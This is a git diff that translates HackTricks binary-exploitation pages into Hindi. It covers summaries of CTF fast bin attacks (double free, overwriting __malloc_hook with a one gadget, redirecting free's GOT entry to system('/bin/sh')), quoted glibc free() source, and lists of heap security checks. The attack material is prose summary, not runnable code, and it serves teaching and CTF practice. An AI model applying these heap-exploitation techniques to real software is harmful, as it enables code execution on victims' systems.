fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है। +- **सूचना लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc के लिए एक पता लीक करना संभव है (`main_arena+88`)। +- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इंगित करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में वही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इंगित करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक के लिए एक पता प्राप्त करेगा।\ +अंत में, वहाँ एक **one gadget** लिखा गया था। - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- वहाँ एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव है। +- **Libc सूचना लीक**: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग के लिए एक पता मिलेगा। चूंकि आप मुक्त किए गए प्वाइंटर्स का पुन: उपयोग कर सकते हैं, बस इस पते को पढ़ें। +- **फास्ट बिन हमला**: आवंटनों के लिए सभी प्वाइंटर्स एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस प्वाइंटर्स के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हम पहले वैध एक और फिर प्वाइंटर्स के एरे को शामिल करने वाला नकली एक प्राप्त करेंगे। अब हम इस आवंटन प्वाइंटर्स को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और एक libc सूचना लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए एक फास्ट बिन हमले का प्रदर्शन करना। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- एक सूचना लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और PIE पता लीक करना, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के लिए प्वाइंटर्स स्थित थे ताकि कुछ प्वाइंटर्स को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना। +- आप एक फास्ट बिन हमले को असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं: +- ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)। - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. - -{{#ref}} -unsorted-bin-attack.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} +- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं। +- एक असंरचित बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)। +- चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को `system` की ओर इंगित करने की अनुमति देता है। diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..fdad4763c 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -## +## {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..6331c33e2 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -4,93 +4,90 @@ ## Free Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(इस सारांश में कोई जांचें समझाई नहीं गई हैं और कुछ मामलों को संक्षिप्तता के लिए छोड़ दिया गया है) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. यदि पता null है तो कुछ न करें +2. यदि चंक mmaped था, तो इसे mummap करें और समाप्त करें +3. `_int_free` कॉल करें: + 1. यदि संभव हो, तो चंक को tcache में जोड़ें + 2. यदि संभव हो, तो चंक को fast bin में जोड़ें + 3. यदि आवश्यक हो, तो चंक को समेकित करने के लिए `_int_free_merge_chunk` कॉल करें और इसे असॉर्टेड सूची में जोड़ें ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` `__libc_free` को कॉल करता है। -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- यदि दिया गया पता Null (0) है तो कुछ न करें। +- पॉइंटर टैग की जांच करें +- यदि चंक `mmaped` है, तो इसे `mummap` करें और बस इतना ही +- यदि नहीं, तो रंग जोड़ें और इसके ऊपर `_int_free` कॉल करें
__lib_free code - ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free -### \_int_free start +### \_int_free शुरू -It starts with some checks making sure: +यह कुछ जांचों के साथ शुरू होता है यह सुनिश्चित करने के लिए: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- **पॉइंटर** **संरेखित** है, या त्रुटि `free(): invalid pointer` उत्पन्न करता है +- **आकार** न्यूनतम से कम नहीं है और **आकार** भी **संरेखित** है या त्रुटि उत्पन्न करता है: `free(): invalid size`
-_int_free start - +_int_free शुरू ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +यह पहले संबंधित tcache में इस चंक को आवंटित करने की कोशिश करेगा। हालाँकि, कुछ जांच पहले की जाती हैं। यह मुक्त चंक के समान अनुक्रमांक में tcache के सभी चंक्स के माध्यम से लूप करेगा और: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- यदि `mp_.tcache_count` से अधिक प्रविष्टियाँ हैं: `free(): too many chunks detected in tcache` +- यदि प्रविष्टि संरेखित नहीं है: free(): `unaligned chunk detected in tcache 2` +- यदि मुक्त चंक पहले ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है: `free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +यदि सब कुछ ठीक होता है, तो चंक को tcache में जोड़ा जाता है और फ़ंक्शन लौटता है।
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
-### \_int_free fast bin +### \_int_free फास्ट बिन -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +शुरुआत करें यह जांचने से कि आकार फास्ट बिन के लिए उपयुक्त है और यह जांचें कि क्या इसे शीर्ष चंक के करीब सेट करना संभव है। -Then, add the freed chunk at the top of the fast bin while performing some checks: +फिर, कुछ जांच करते हुए मुक्त चंक को फास्ट बिन के शीर्ष पर जोड़ें: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) तो ट्रिगर करें: `free(): invalid next size (fast)` +- यदि जोड़ा गया चंक पहले से ही फास्ट बिन के शीर्ष पर था: `double free or corruption (fasttop)` +- यदि शीर्ष पर चंक का आकार उस चंक के आकार से भिन्न है जिसे हम जोड़ रहे हैं: `invalid fastbin entry (free)`
-_int_free Fast Bin - +_int_free फास्ट बिन ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +यदि चंक अभी किसी भी बिन पर आवंटित नहीं किया गया है, तो `_int_free_merge_chunk` को कॉल करें
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +यह फ़ंक्शन SIZE बाइट्स के चंक P को इसके पड़ोसियों के साथ मर्ज करने की कोशिश करेगा। परिणामी चंक को अनसॉर्टेड बिन सूची में डालें। -Some checks are performed: +कुछ जांचें की जाती हैं: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- यदि चंक शीर्ष चंक है: `double free or corruption (top)` +- यदि अगला चंक एरेना की सीमाओं के बाहर है: `double free or corruption (out)` +- यदि चंक का उपयोग के रूप में चिह्नित नहीं है (अगले चंक के `prev_inuse` में): `double free or corruption (!prev)` +- यदि अगला चंक बहुत छोटा या बहुत बड़ा है: `free(): invalid next size (normal)` +- यदि पिछले चंक का उपयोग नहीं हो रहा है, तो यह समेकित करने की कोशिश करेगा। लेकिन, यदि prev_size पिछले चंक में निर्दिष्ट आकार से भिन्न है: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..928dec569 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -4,160 +4,160 @@ ## unlink -For more info check: +अधिक जानकारी के लिए देखें: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +यह किए गए चेक का सारांश है: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- जांचें कि चंक का निर्दिष्ट आकार अगले चंक में निर्दिष्ट `prev_size` के समान है +- त्रुटि संदेश: `corrupted size vs. prev_size` +- यह भी जांचें कि `P->fd->bk == P` और `P->bk->fw == P` +- त्रुटि संदेश: `corrupted double-linked list` +- यदि चंक छोटा नहीं है, तो जांचें कि `P->fd_nextsize->bk_nextsize == P` और `P->bk_nextsize->fd_nextsize == P` +- त्रुटि संदेश: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +अधिक जानकारी के लिए देखें: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: 